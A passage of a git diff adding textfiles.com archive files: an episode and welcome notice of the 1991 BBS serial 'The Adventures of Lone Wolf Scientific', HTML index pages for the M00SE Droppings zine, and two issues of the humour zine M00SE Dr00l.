that the engineeer- +manager has given the mischevious computer builder to keep +him occupied and out of trouble.<<<< diff --git a/textfiles.com/magazines/LWS/two.lws b/textfiles.com/magazines/LWS/two.lws new file mode 100644 index 00000000..43ceeca1 --- /dev/null +++ b/textfiles.com/magazines/LWS/two.lws @@ -0,0 +1,200 @@ + +---------------------------------------------- +"The Adventures of Lone Wolf Scientific" +-------------------------------------------- +An electronically syndicated series that +follows the exploits of two madcap +mavens of high-technology. Copyright 1991 +Michy Peshota. May not be distributed +without accompanying WELCOME.LWS and +EPISOD.LWS files. +---------------------- +EPISODE #2 +---------------------- + + + The Second Renaissance of Space Exploration + Technology and What Happened To It + +>>Bashful boychild software engineer Andrew.BAS stumbles +unwittingly into the neurosis and smashed dreams of the +military-industrial complex. Within days, he loses his soul +while waiting for a government security clearance.<< + + By M. Peshota + + File cabinets lined the walls, the air bled entropy. +It was a place of brilliant men sentenced to long hours of +ineffectualness, their eyes red from filling out government +forms. One man who noticed neither the defeat in the faces +that surged past him, nor heard the cynicism in the workers' +early morning plaints was Andrew Sebastian, or Andrew.BAS +for short. Clad in a crisp white engineer's shirt and a +gray junior men's department suit, he strode +enthusiastically across the lobby, placed his briefcase on +the floor beside him at the receptionist's desk, leaned over +and whispered to the woman behind it, "I am here to begin +engineering the second renaissance of space exploration +technology. Where should I go?" + + The woman glanced up in surprise. "Is someone +expecting you?" + + "I would suppose so," he said, "because someone offered +me a job." + + Andrew.BAS was just out of college with a degree in +computer software engineering and Dingready & Derringdo +Aerospace was the first firm to offer him a job. They +were the ones who ran in all the engineering magazines the +ads that pictured powerful rockets blasting through space, +manned by recent engineering school graduates. They +were the ones who mailed him the recruitment brochures +filled with showy oil paintings of space stations twirling +rhapsodically towards the Pleiades, manned by recent +engineering school graduates. They were the ones who +corresponded with him on stationary on which the words +"space" and "innovation" were spelled in three-inch +high capital letters and superimposed over silhouettes +of recent engineering school graduates holding their moon +helmets. Since Andrew.BAS did not get the job he wanted +most--that of mission commander on the space shuttle--he +took the next thing that came along and that was the +engineering post at Dingready & Derringdo Aerospace. + + The engineer-manager was growing cross. Already he was +starting to dislike the kid computer programmer with the +dreamy blue eyes and effusion of freckles, cowlicks, and +dimples who looked like the kind of kid programmer Norman +Rockwell would have drawn had he drawn computer programmers. +He grumped, "You showed up for work a day early. Dingready +& Derringdo doesn't like new employees who show up for work +earlier than scheduled." + + "My apologies," Andrew.BAS proffered. "I was anxious to +begin engineering the second renaissance of space +exploration technology. I'm sure you know how it is." He +smiled. + + The engineer-manager wanted to snap that no, he did not +know how it is. He did not know <> about the +second renaissance of space technology. Being an engineer- +manager who preferred to keep his nose safe in a file +cabinet and far from the primal chaos of the heavens, he did +not want to know anything either, and he was sick of dimpled +programmers like this one asking about it. He suspected +that the second whatever-it-was had something to do with the +employee recruitment brochures that Dingready & Derringdo +mailed to colleges. Usually, any problems with new computer +programmers could be traced to those. + + Andrew.BAS continued, "If you'll just show me to my +office, I'll get to work right away on the underground +Neptunian launch pads." + + The manager gloomed. Oh, why were kid programmers +always like this? He snapped, "The underground Neptunian +launch pads will have to wait." Then he turned to the +receptionist and asked her if she had any forms that the new +employee could fill out. Since she did not, Andrew.BAS was +sent home. + + When Andrew.BAS arrived at work the second day, he +learned of yet another obstacle in the way of the second +renaissance of space exploration technology. That was that +he needed a government security clearance. The need of a +government security clearance shouldn't have surprised +Andrew.BAS. Afterall, Dingready & Derringdo Aerospace was a +government defense contractor, and defense contractors tend +to like their employees to have security clearances. It was +just that Andrew.BAS had never had anyone not trust him +before. Indeed, for most of his young life he had listened +to other people tell him how trustworthy and responsible he +was, how, if they were trapped in a faulty spaceship airlock +and it was ten minutes to rocketman heaven, they would want +Andrew.BAS to be the one to go find Captain Picard or Mr. +Spock (it was mostly other engineering students who told him +this). Now Dingready & Derringdo was telling him that they +had to run a background check on everything from his program +editor to his ping pong paddle before they could even tell +him where the men's washroom was. + + For the rest of the day, the cherub-cheeked computer +programmer slumped despondently in a folding chair in a +corner of the defense contractor's lobby, rereading his +college engineering texts, thumbing through the moon colony +blueprints in his briefcase, waiting for his security +clearance, and brooding about what a rotten start the second +renaissance of space exploration technology was having. His +spirits improved by the following day, though, for he knew +that once he arrived in the fusty lobby of the defense +contractor, his government security clearance would be +waiting for him and it would be but minutes before he was +festooning his office walls with Neil Armstrong posters and +ordering parts for inter-galactic transports. When +Andrew.BAS arrived at work, however, he learned that, not +only did he not yet have a government security clearance, +but no one could tell him when and if he would ever get one. + + "Does this mean that I won't be able to schedule any +lunar docking maneuvers over the weekend?" he asked the +receptionist. + + She eyed him coolly. "What you do on your own time is +the least of my concerns." + + Each morning, for the next seven-and-a-half months, +Andrew.BAS would arrive promptly at eight in the lobby of +the defense contractor, take a seat in the folding chair +and, for the next eight-and-three-quarters hours, rework the +moon colony blueprints in his briefcase, daydream about the +second renaissance of space exploration technology, and wait +for his security clearance. + + As he did so he watched the shabby parade of fly-bitten +technocrats lurch past him in the morning and again in the +evening, and prayed fervently that he never became one of +them, but by month eight of his vigil he knew with a +perditious dread that he had grown as irretrievably rumpled, +cynical, and dull-eyed as them. His once lily white shirt, +spotless as hope itself, pressed smooth as the courage +requested on Line 147 of the NASA employment application, +impeccably wrinkle-free as a space age engineer's optimism, +was now as blighted as that of a man who has just crawled +from a train wreck. The pencils in his pockets refused to +line up straight anymore, no matter how hard he tried to +make them do so. His once rosy, downy cheeks were now the +sickly hue of hemlock grown in a prison yard. His formerly +perfect posture was now squashed over like a linear equation +crushed between two elevator doors. He hardly ever combed +his scraggly blond bangs to look like Bill Gates' anymore. + + Andrew.BAS had once been a man who often forgot, thanks +to the effusiveness of a busy imagination, that ninety +percent of the world that man has begot is built of +institutional blank walls, but now his mind curdled into +that blankness, bloated with apathy, became +indistinguishable from the hopeless plaster around him. +Before he knew it, all that he had once studied for, all he +had dreamed of--the days of hammering silver-sleek rockets, +firing sun-powered planet probes, launching space +exploration's long-awaited second renaissance when everyone +would wear white space suits and look very brave and +Andrew.BAS himself would spend long afternoons bounding +childlike over moony terrains, bearing a big American flag, +seemed to him, like the dogeared moon colony blueprints on +his lap, rather silly, like the delusions of a man who has +stayed up too late too often prattling about blackholes with +college chums, a man who has, rather pathetically, worn +Project Apollo patches stitched to his windbreaker long +after everyone has told him that he and the world both are +too old for that kind of thing. Finally, one day, the young +engineer removed the moon colony blueprints from his +briefcase, and tossed them away. He knew his soul was lost. + +>>>In the next episode, "When Men of Destiny Meet," +Andrew.BAS befriends another new employee who also failed to +get a job on the space shuttle.>>>> + + + diff --git a/textfiles.com/magazines/LWS/welcome.lws b/textfiles.com/magazines/LWS/welcome.lws new file mode 100644 index 00000000..120084a6 --- /dev/null +++ b/textfiles.com/magazines/LWS/welcome.lws @@ -0,0 +1,116 @@ + ------------------------------------------------------- + Welcome to "The Adventures of Lone Wolf Scientific" + ------------------------------------------------- + Copyright 1991 M. Peshota + ----------------------------- + + In a perfect world, S-max and Andrew.BAS would be +mission commanders on the space shuttle, but due to the +ineptitude of Fate, the computer hardware engineer and the +programmer wind up working for a government defense +contractor instead. When they lose their jobs, thanks to +the hardware hacker's shenanigans, they start a high-tech +company. + + "The Adventures of Lone Wolf Scientific" is a bi-weekly +chronicle of a computer startup where technological +innovation never comes without a measure of chaos. In the +coming months, you'll meet S-max, Lone Wolf Scientific's +Macchiavellian Head of Hardware who plots to change the +world with his Rube Goldbergish inventions, his soft-spoken +programmer sidekick, Andrew.BAS, who names all his programs +after successful Apollo flights, and Congressman Boris Q. +Popinrath, a technology gunho politician who finds in Lone +Wolf Scientific the only reason he can give constituents to +re-elect him. + + "The Adventures of Lone Wolf Scientific" is an +electronically syndicated series. New installments appear +every two weeks (barring any misadventures on the part of +the author) on better computer bulletin boards and +electronic online services everywhere. + + You'll find the latest installments of "The Adventures +of Lone Wolf Scientific" in: + + Exec-PC's "Free to Unregistered Callers + Software Collection" and "Mahoney + Collection" + 414/789-4210, PC Pursuitable + You don't have to be a registered + user in order to download the + Adventures of LWS + + GEnie's "Telejoke" Roundtable, Library #2, + the Computer & Science collection + +as well as on numerous participating bulletin boards. +(Because of the delays associated with posting files in the +software collections on GEnie, installments may not appear +there until several days after their release date. The best +place from which to download episodes is Exec-PC.) "The +Adventures of Lone Wolf Scientific" can no longer be found +on CompuServe since the service discontinued its WITSIG +forum. + + + If you would like "The Adventures of Lone Wolf +Scientific" to be uploaded to your BBS/online service free +of charge, just drop a note to one of the mailboxes listed +below. + + You may upload episodes of "The Adventures of Lone Wolf +Scientific" to any bulletin board or online service that you +wish. You may also print them out and distribute them--in +hardcopy or electronically--to friends, colleagues, loved +ones, whomever you wish. ("The Adventures of Lone Wolf +Scientific" go particularly well on company LANs.) +You may not charge anyone anything for your reproducing +efforts except maybe for an occasional cup of coffee or a +doughnut--you may demand a fee of one of those. + + The only responsibility that will be placed on your +weary shoulders is the request that whenever you +distribute episodes of "The Adventures of Lone Wolf +Scientific," you distribute them with this file, +WELCOME.LWS, and the accompanying file EPISOD.LWS which +lists all previous episodes and the order in which they +first appeared. + + "The Adventures of Lone Wolf Scientific" is copyrighted +by the author, of course, but may be reproduced for free, in +whole or in part, in any not-for-profit publication, +including computer user's group newsletters. The author +requests only that a copy of the publication be mailed to +the street address listed below. + + Additionally, if you publish a user's group newsletter, +you may obtain from M. Peshota, free of charge, a disk +containing whimsical "shorts" designed specifically to fill +small empty spaces in newsletters. Simply mail a blank +floppy disk to one of the addresses listed below, along with +the name of your user's group. + + I hope that you enjoy "The Adventures of Lone Wolf +Scientific". Writing them has been one of the great joys of +my life. Hopefully, reading them will be one of the joys of +yours. + +Peace, + +M. Peshota +January, 1991 + +Exec-PC: MICHY PESHOTA +GEnie: M.PESHOTA, user i.d., XTY31866 +MCI Mail: MPESHOTA, user i.d., 4524331 +Street: Michy Peshota, 6666 Odana Rd, + Office 252, Madison, WI, 53719 + +------------------------------------------------------------ +P.S. Tune in to the comedic adventures of beleaguered +bulletin board operator "Crazy Merl" in Jack Rickard's hot +magazine "Boardwatch," 5970 S. Vivian St., Littleton, CO, +80127, 303/973-4222 (bbs). +------------------------------------------------------------ + diff --git a/textfiles.com/magazines/M00SE.1 b/textfiles.com/magazines/M00SE.1 new file mode 100644 index 00000000..0f47badc --- /dev/null +++ b/textfiles.com/magazines/M00SE.1 @@ -0,0 +1,77 @@ + +T E X T F I L E S + +

Electronic Magazines: M00SE Droppings

+

+Maybe it's just me, but as I browse through these files, they seem to be about +Moose, more Moose and then about things that people who know each other are +interested in becasue they all happen to like moose. After a while, this +leads (naturally?) to the Steve Jackson BBS Raid. There's an awful lot of +moose here. +

+ + + + +
+
Filename
Size
Description of the Textfile
dr00l2 14492
 M00SE Dr00l Issue 2, January 1990 +
dr00l3 11846
 M00se Dr00l Issue 3, February, 1990 +
m00se.cha 4575
 The Official Charter of the M00se Illuminati +
m00se.his 6551
 The Official History of the M00se Illuminati +
m00se.inf 3556
 Information on various M00se Illumanati Subdivisions +
m00se.rev 1199
 Bill Dickson's M00use Update +
m00se01 11147
 M00se Droppings Issue #01, June 17, 1988 +
m00se02 7793
 M00se Droppings Issue #02, June 24, 1988 +
m00se03 16195
 M00se Droppings Issue #03, July 6, 1988 +
m00se04 10963
 M00se Droppings Issue #04, July 14, 1988 +
m00se05 16800
 M00se Droppings Issue #05, July 22, 1988 +
m00se06 16996
 M00se Droppings Issue #06, August 3, 1988 +
m00se07 12100
 M00se Droppings Issue #07, August 15, 1988 +
m00se08 14538
 M00se Droppings Issue #08, August 19, 1988 +
m00se09 10156
 M00se Droppings Issue #09, August 26, 1988 +
m00se10 10302
 M00se Droppings Issue #10, September 4, 1988 +
m00se11 30000
 M00se Droppings Issue #11, September 9, 1988 +
m00se12 9422
 M00se Droppings Issue #12, September 19, 1988 +
m00se13 19117
 M00se Droppings Issue #13, September 19, 1988 +
m00se14 23466
 M00se Droppings Issue #14, October 3, 1988 +
m00se15 21831
 M00se Droppings Issue #15, October 7, 1988 +
m00se16 21632
 M00se Droppings Issue #16, October 31, 1988 +
m00se17 8541
 M00se Droppings Issue #17, October 15, 1988 +
m00se18 7885
 M00se Droppings Issue #18, November 20, 1988 +
m00se19 17291
 M00se Droppings Issue #19, November 20, 1988 +
m00se20 21826
 M00se Droppings Issue #20, December 9, 1988 +
m00se21 43890
 M00se Droppings Issue #21, February 9, 1988 +
m00se22 35137
 M00se Droppings Issue #22, March 2, 1988 +
m00se23 44906
 M00se Droppings Issue #23, April 24, 1989 +
m00se24 55435
 M00se Droppings Issue #24, May 12, 1989 +
m00se25 25308
 M00se Droppings Issue #25, May 18, 1989 +
m00se26 21514
 M00se Droppings Issue #26, June 2, 1989 +
m00se27 24269
 M00se Droppings Issue #27, June 19, 1989 +
m00se28 22786
 M00se Droppings Issue #28, June 30, 1989 +
m00se29 14468
 M00se Droppings Issue #29, September 5, 1989 +
m00se30 26309
 M00se Droppings Issue #30, November 1, 1989 +
m00se31 25752
 M00se Droppings Issue #31, November 3, 1989 +
m00se32 44141
 M00se Droppings Issue #32, November 10, 1989 +
m00se33 33147
 M00se Droppings Issue #33, November 17, 1989 +
m00se34 27405
 M00se Droppings Issue #34, December 1, 1989 +
m00se35 23928
 M00se Droppings Issue #35, December 8, 1989 +
m00se36 34003
 M00se Droppings Issue #36, December 16, 1989 +
m00se37 26791
 M00se Droppings Issue #37, January 27, 1990 +
m00se38 23757
 M00se Droppings Issue #38, February 19, 1990 +
m00se39 19721
 M00se Droppings Issue #39, March 21, 1990 +
m00se40 26774
 M00se Droppings Issue #40, April 9, 1990 +
m00se41 27372
 M00se Droppings Issue #41, July 6, 1990 +
m00se42 28540
 M00se Droppings Issue #42, July 14, 1990 +
m00se43 23460
 M00se Droppings Issue #43, August 9, 1990 +
m00se44 24030
 M00se Droppings Issue #44, Septembet 8, 1990 +
m00se45 27020
 M00se Droppings Issue #45, October 4, 1990 +
m00se46 25628
 M00se Droppings Issue #46, November 25, 1990 +
m00se47 43130
 +
md.048 50104
 M00se Droppings issue #48 (June 13, 1994) +
md.049 50498
 M00se Droppings Issue #49 (July 13, 1994) +
md.051 17485
 M00se Droppings Issue #51 (November 13, 1994) +
ml002.txt 7502
 MOOSE Lite #2 (Star Trek: The Next Generation: The Stupidity Snare) +

There are 57 files for a total of 1,274,430 bytes.

+ + + diff --git a/textfiles.com/magazines/M00SE/.windex.html b/textfiles.com/magazines/M00SE/.windex.html new file mode 100644 index 00000000..947a5727 --- /dev/null +++ b/textfiles.com/magazines/M00SE/.windex.html @@ -0,0 +1,77 @@ + +T E X T F I L E S + +

Electronic Magazines: M00SE Droppings

+

+Maybe it's just me, but as I browse through these files, they seem to be about +Moose, more Moose and then about things that people who know each other are +interested in becasue they all happen to like moose. After a while, this +leads (naturally?) to the Steve Jackson BBS Raid. There's an awful lot of +moose here. +

+ + + + +
+
Filename
Size
Description of the Textfile
dr00l2 14492
 M00SE Dr00l Issue 2, January 1990 +
dr00l3 11846
 M00se Dr00l Issue 3, February, 1990 +
m00se.cha 4575
 The Official Charter of the M00se Illuminati +
m00se.his 6551
 The Official History of the M00se Illuminati +
m00se.inf 3556
 Information on various M00se Illumanati Subdivisions +
m00se.rev 1199
 Bill Dickson's M00use Update +
m00se01 11147
 M00se Droppings Issue #01, June 17, 1988 +
m00se02 7793
 M00se Droppings Issue #02, June 24, 1988 +
m00se03 16195
 M00se Droppings Issue #03, July 6, 1988 +
m00se04 10963
 M00se Droppings Issue #04, July 14, 1988 +
m00se05 16800
 M00se Droppings Issue #05, July 22, 1988 +
m00se06 16996
 M00se Droppings Issue #06, August 3, 1988 +
m00se07 12100
 M00se Droppings Issue #07, August 15, 1988 +
m00se08 14538
 M00se Droppings Issue #08, August 19, 1988 +
m00se09 10156
 M00se Droppings Issue #09, August 26, 1988 +
m00se10 10302
 M00se Droppings Issue #10, September 4, 1988 +
m00se11 30000
 M00se Droppings Issue #11, September 9, 1988 +
m00se12 9422
 M00se Droppings Issue #12, September 19, 1988 +
m00se13 19117
 M00se Droppings Issue #13, September 19, 1988 +
m00se14 23466
 M00se Droppings Issue #14, October 3, 1988 +
m00se15 21831
 M00se Droppings Issue #15, October 7, 1988 +
m00se16 21632
 M00se Droppings Issue #16, October 31, 1988 +
m00se17 8541
 M00se Droppings Issue #17, October 15, 1988 +
m00se18 7885
 M00se Droppings Issue #18, November 20, 1988 +
m00se19 17291
 M00se Droppings Issue #19, November 20, 1988 +
m00se20 21826
 M00se Droppings Issue #20, December 9, 1988 +
m00se21 43890
 M00se Droppings Issue #21, February 9, 1988 +
m00se22 35137
 M00se Droppings Issue #22, March 2, 1988 +
m00se23 44906
 M00se Droppings Issue #23, April 24, 1989 +
m00se24 55435
 M00se Droppings Issue #24, May 12, 1989 +
m00se25 25308
 M00se Droppings Issue #25, May 18, 1989 +
m00se26 21514
 M00se Droppings Issue #26, June 2, 1989 +
m00se27 24269
 M00se Droppings Issue #27, June 19, 1989 +
m00se28 22786
 M00se Droppings Issue #28, June 30, 1989 +
m00se29 14468
 M00se Droppings Issue #29, September 5, 1989 +
m00se30 26309
 M00se Droppings Issue #30, November 1, 1989 +
m00se31 25752
 M00se Droppings Issue #31, November 3, 1989 +
m00se32 44141
 M00se Droppings Issue #32, November 10, 1989 +
m00se33 33147
 M00se Droppings Issue #33, November 17, 1989 +
m00se34 27405
 M00se Droppings Issue #34, December 1, 1989 +
m00se35 23928
 M00se Droppings Issue #35, December 8, 1989 +
m00se36 34003
 M00se Droppings Issue #36, December 16, 1989 +
m00se37 26791
 M00se Droppings Issue #37, January 27, 1990 +
m00se38 23757
 M00se Droppings Issue #38, February 19, 1990 +
m00se39 19721
 M00se Droppings Issue #39, March 21, 1990 +
m00se40 26774
 M00se Droppings Issue #40, April 9, 1990 +
m00se41 27372
 M00se Droppings Issue #41, July 6, 1990 +
m00se42 28540
 M00se Droppings Issue #42, July 14, 1990 +
m00se43 23460
 M00se Droppings Issue #43, August 9, 1990 +
m00se44 24030
 M00se Droppings Issue #44, Septembet 8, 1990 +
m00se45 27020
 M00se Droppings Issue #45, October 4, 1990 +
m00se46 25628
 M00se Droppings Issue #46, November 25, 1990 +
m00se47 43130
 +
md.048 50104
 M00se Droppings issue #48 (June 13, 1994) +
md.049 50498
 M00se Droppings Issue #49 (July 13, 1994) +
md.051 17485
 M00se Droppings Issue #51 (November 13, 1994) +
ml002.txt 7502
 MOOSE Lite #2 (Star Trek: The Next Generation: The Stupidity Snare) +

There are 57 files for a total of 1,274,430 bytes.

+ + + diff --git a/textfiles.com/magazines/M00SE/dr00l2 b/textfiles.com/magazines/M00SE/dr00l2 new file mode 100644 index 00000000..0139bdf1 --- /dev/null +++ b/textfiles.com/magazines/M00SE/dr00l2 @@ -0,0 +1,310 @@ ++----------------------------------------------------------------------------+ +| ISSUE 2 January 1990 | +| | +| | +| MMMMMMMMMM 00000000 00000000 SSSSSSS EEEEEEEE | +| M MM M 0 // 0 0 // 0 S E | +| M MM M 0 // 0 0 // 0 SSSSSSS EEEE | +| M MM M 0 // 0 0 // 0 S E | +| M MM M 00000000 00000000 SSSSSSSS EEEEEEEE | +| | +| DDDDDDDD RRRRRRR 00000000 00000000 L | +| D D R R 0 // 0 0 // 0 L | +| D D RRRRRRR 0 // 0 0 // 0 L | +| D D R R 0 // 0 0 // 0 L | +| DDDDDDDDDD R R 00000000 00000000 LLLLLLLL | +| | +| | +| | +| To boldly dr00l where no m00se has dr00led before. | ++----------------------------------------------------------------------------+ + +We casually bring to you yet another issue to ring in the "Decade of Dr00l." + + -Mike Oose + +------------------------------------------------------------------------------ + +M00SE DR00L STAFF + + Michael Oose (moose@drunivac.bitnet) Editor in Chief + Subscriptions + + Manny Oose (nclarke@drunivac.bitnet) + Michele Oose (slewis@drunivac.bitnet) Assistant Editors + + Paul Latypus (badair@drunivac.bitnet) + Martin Oose (pcoen@drunivac.bitnet) + Michaela Oose (jrutberg@drew.bitnet) Guest Columnists + + +Think you're weird? Think you can write stories that m00ses can relate to? +Contact Mike Oose. He might have an assignment for YOU! + +Coming Soon! An editorial section. Yes, keep those comments coming. If we +like it, we'll print it with running commentary from the Dr00l Staff! + +------------------------------------------------------------------------------ + + HOW TO MAKE MOOSE CALLS + It's easier than you think! + + (by Michele and Michaela Oose) + +I. Introduction: Does a moose care what it sounds like? + +Think about it. Does a moose think of what he is going to sound like before +he says anything? No. And neither should you when it comes to imitating +a moose. To become adept at this surprisingly simple task, follow these few +simple directions. + +II. Step two: The Attitude + +First, you must think like a moose. Close your eyes and think mooselike +thoughts. What would you think if you were a moose? Picture yourself with +antlers. Do not actually put a pair of antlers on your head to see what it +would feel like. This will do nothing for your concentration and will get +you many strange looks. Your family probably worries about you too much as +it is. + +III. The actual trial: Is it live, or is it Memorex? + +Concentrate. Picture in your mind what a moose call would sound like, and +let it out of your system. THINK like the moose. SPEAK like the moose. +BECOME ONE with the moose. Remember, not many people living today would +recognize an actual moose call if they heard one. They will never know the +difference. + +IV. Practice + +As with any other activity, practice makes perfect. This applies also to +the art of moose calling. If you are uncomfortable about showing your newly +acquired skill in large groups of company, practice in the privacy of your +own home or in an isolated area. Be warned, though, about making moose calls +out in the wilderness. The actual creatures may be offended. + +Good luck. And may the Moose be with you. + +------------------------------------------------------------------------------ + + (Due to popular demand, we bring to you the third chapter in this + intriguing saga of Travis and Phyllis.) + + Travis and Phyllis, the Trashy Story + + by Michael Oose + + + Travis and Phyllis found themselves in the airport lobby after having +been escorted off the plane from Tahiti, with a warning to control themselves +better next time. Travis whispered huskily in Phyllis' ear, "Around you I +could never control myself." All of a sudden, Phyllis remembered that she +had left her passport in her luggage and so couldn't go through Customs. + "Oh, Travis," she breathed, "we'll just have to go back." While their +escort was ogling a stewardess, the two lovers ducked out of the terminal. +While they thought no one was looking, they leapt onto the luggage bus that +was just departing from their plane. Sifting through the luggage, they +found Phyllis' matched hot pink set. Opening the largest suitcase, Travis +spied a piece of lingerie. + "Oh, Phyllis, remember when you wore this?" Their eyes locked, their +passion inflamed. + "Oh, Travis, I think we're going to disobey the airline officials." +she sighed. They were too involved in their renewed discovery of one another +that they didn't notice that the bus had ground to a halt. + Two gorilla-like beings started to throw luggage onto the conveyor +belt, and all unknowingly tossed the entwined lovers on with the rest of the +baggage. Phyllis landed first with a >whump<, cushioning Travis' fall. The +conveyor belt, groaning with the strain, brought them up and into the main +terminal of the airport. + While some passersby gawked, a polite man named Cullen graciously +removed his jacket and placed it over their sweaty, heaving bodies. They +paid no notice, however, and continued... + +------------------------------------------------------------------------------ + + + Horrorscopes for the month of January, 1990 in the year of our Moose. + + (by Manny and Michele Oose) + + +Aries, the twisted antlered moose : Expect nothing special. The twisted +antlers of Aries are especially warped this time of year. We recommend that +you hibernate through this month. You won't miss anything. + +Taurus, the bull-headed moose : Stop being so damn stubborn. You won't get +your way unless you take to blackmail. Be wary of men with funny looking +caps. + +Gemini, the twin mooses : Taking part in a doublemint gum commercial could be +a bad career move. It will alert hunters to your location. You will also +discover that you have a long lost brother who is into disco and gold chains. + +Cancer, the smoking moose : You are going to get very sick. Other mooses will +not invite you to their parties because of a dark cloud that surrounds your +head. Floss your antlers. + +Leo, the roaring moose : Sit down and listen for a change. This might be a +good time to lay low and avoid large trucks. Take this time for a vacation in +Hawaii, or get your antlers trimmed. + +Virgo, the you-know moose : Wipe that smirk off your face. Kiss a frog and +your outlook on life just might change. Look to the stars for a visitor from +out of town. Don't let them stay more than a week. + +Libra, the well-balanced moose : You are about to take a long trip. The +people there will speak funny, and it will be cold. In the end you will enjoy +it, but bring your antlers as carry-on luggage, or you could be in for a big +surprise. + +Scorpio, the poisonous moose : This is a good month to go food shopping. You +must remember, however, that the shopping cart is not a pull toy. You will +find a long lost relative in the frozen foods section. + +Aquarius, the drooling moose : If you don't get help for this quite disgusting +habit of yours, you could be in for some real embarrassment. Remember, the +first step is to admit that you have a problem. Clean up your act. + +Capricorn, the moose of the month : This is your time, dahling. Open your +eyes to the beauty of the world, and be happy. Become one with your +Mooseness. You will finally catch a truck this month. + +Pisces, the fishy moose : Something smells bad, and it's probably the Chinese +food. Also, be careful what you step in. Your friends will be shocked if you +serve the chocolate moose at your next party. + +------------------------------------------------------------------------------ + + Obituaries + + (by Manny Oose) + + +DATELINE: DREW UNIVERSITY OCTOBER 25, 1989 + +A terrible accident has occurred here at Drew University that has authorities +completely baffled. It seems that the local VAX Zoo Keeper was the victim +of a cruel and merciless attack by what appears to be the kindly and innocent +looking animals kept here in the zoo. + +"There are slide trails all the way back to the platypus pool, and a wombat +hole only feet away from the crime," says Drew Security officer Dun Kin. +"He was badly gored by the antlers of a large animal," he continues, "and we +strongly believe that the moose was involved, however, we have been unable to +get into the Harappa Pen to question the suspect." + +When we approached one of the animals for comment, he quickly retorted, "I'm +glad he's dead. He kept making us get back in the cages. He used to torment +that poor moose to no end as well." With that, he turned and fled into the +night, in what appears to be a free night on the town for these creatures. + +Authorities are unwilling to make comment on whether or not the bizarre death +of the zoo keeper, and a recent cactus suicide are related, but you can bet +that I, the roving reporter, shall keep you informed of further developments +in this case. + +------------------------------------------------------------------------------ + + Moose Tipping + + (by Manny and Martin Oose) + +My fellow m00ses... + +I am here today to talk to you about a vile and terrible practice known as +"moose-tipping." I don't know about you, but it bothers me that I can't get +a good nights sleep with all those college students sneaking up and pushing +me over as I rest. If that's not bad enough, my antlers get stuck in the +mud, and when the mud freezes... brrrrrr... I'm sure I don't have to tell +you about antler frost. What are we to do about this? + +Let's, for discussion's sake, create a hypothetical activity to perform on +sleeping humans. The human (say, her name is Diana) is sound asleep, totally +oblivious to the world. Mind you--this is rest sleep. We are making no +claims as to her normal state. Our intrepid band of m00ses creeps into her +room, carefully avoiding the waking of her roommate. They surround her bed +and stare at her for a few minutes, just to see if Diana will wake up and +notice. Then, slowly, they start to exhale on her. Clouds of noxious (to a +human) m00se breath float around her head. This still is not enough to rouse +the slumbering college student; step three must go forward. The m00ses start +to drool on her pillow. This will almost always cause any human to wake up +screaming--or at least give them the oddest dreams. Should this fail as well, +the m00se band could resort to such tactics as stomping around the room and +over the bed. + +However, it works and Diana awakes with a scream of terror. The m00ses +immediately run out of the room and the building. The next morning, the now +hopelessly neurotic Diana is sent home to the care of her parents. It will be +some years before she is able to sleep soundly again. + +If we were to do this to humans, they would be outraged. Why should they +treat us in ways that they do not wish to be treated? I say that all m00ses, +from this time forward, should wake a human whenever possible, until such a +day as they discontinue the practice of moose-tipping. + +------------------------------------------------------------------------------ + + Assorted Moose Curses + + (from the mouth of Michael Oose) + +"May your antlers droop." + Believed to have originated somewhere in Southern California, this + curse echoes the sentiments of the age-old adage of "like totally + droopy dude." + +"May you fall in love with a cow." + This actually occurred. The poor moose in question was subject to + media abuse for months and never survived the embarrassment. His + family reportedly threw themselves in front of a large truck. + +"May your cacti turn brown and mushy." + No one is quite sure what this has to do with mooses, but apparently + an innocent cactus named Spike died in this horrible fashion. + +"Your mother wears moose slippers." + Take a trip to the mall. You figure it out. + +"May you be stuffed." + This does not mean to be like a Gund. Gunds are cute. This means to + have your head mounted on a plaque in some idiot's den. + +"Bl00p You!" + [censored] + + +------------------------------------------------------------------------------ + + How to avoid being shot during Moose season + + (by Manny Oose) + + +1. Don't hide behind trees. Contrary to popular belief, the average hunter + will not believe that your antlers are branches. + +2. Don't hang out under street lamps. It might look impressive to the + ladies, but when you have a few holes in your gut they'll want nothing to + do with you. + +3. If you are being stalked, hide in a toy store. Don't look too stupid or + they'll think you're still alive. If they squeeze your belly, make a + sick moo noise. It might be embarrassing, but it's better than ending + up hanging on a wall looking down at some idiot with a pipe and slippers. + +4. Don't chase cars. They _will_ notice you. + +5. Carry a bigger gun. +5.1. Shoot first. + +------------------------------------------------------------------------------ + +And so ends another proud episode of Dr00ling adventure. Tune in next month +when Mike says... + + "Holy drool, Mooseman. How did that Moose get up in the tree?" + +Same moose time. +Same moose channel. + +------------------------------------------------------------------------------ diff --git a/textfiles.com/magazines/M00SE/dr00l3 b/textfiles.com/magazines/M00SE/dr00l3 new file mode 100644 index 00000000..ab18985f --- /dev/null +++ b/textfiles.com/magazines/M00SE/dr00l3 @@ -0,0 +1,234 @@ ++----------------------------------------------------------------------------+ +| ISSUE 3 Feb-Apr. 1990 | +| | +| | +| MMMMMMMMMM 00000000 00000000 SSSSSSS EEEEEEEE | +| M MM M 0 // 0 0 // 0 S E | +| M MM M 0 // 0 0 // 0 SSSSSSS EEEE | +| M MM M 0 // 0 0 // 0 S E | +| M MM M 00000000 00000000 SSSSSSSS EEEEEEEE | +| | +| DDDDDDDD RRRRRRR 00000000 00000000 L | +| D D R R 0 // 0 0 // 0 L | +| D D RRRRRRR 0 // 0 0 // 0 L | +| D D R R 0 // 0 0 // 0 L | +| DDDDDDDDDD R R 00000000 00000000 LLLLLLLL | +| | +| | +| | +| A m00se! A m00se! My kingdom for a m00se! | ++----------------------------------------------------------------------------+ + + Sorry for the delay, but the hunters were after me, and well, I'm a moose +with his priorities straight: 1) Survival 2) Sleep 3) Dr00l. Remember, +only a moose who is a public nuisance is worth listening to. This issue is +dedicated to all those lesser illuminated beings that hunt the mystic rabbit +of April. + + -Mike Oose + +------------------------------------------------------------------------------ + +M00SE DR00L STAFF + + Michael Oose (moose@drunivac.bitnet) Editor in Chief + Subscriptions + + Manny Oose (nclarke@drunivac.bitnet) + Michele Oose (slewis@drunivac.bitnet) Assistant Editors + + Cathy Ow (cow@drunivac.bitnet) Information + + +Think you're weird? Think you can write stories that m00ses can relate to? +Contact Mike Oose. He might have an assignment for YOU! (Wouldn't that be +dangerous?) + +NEW in this issue: an editorial section. Yes, keep those comments coming. If +we like it, we'll print it with running commentary from the Dr00l Staff! + +------------------------------------------------------------------------------ + +Editorials: + + From: ABLAKELY@DRUNIVAC + I was quite distressed to note in the 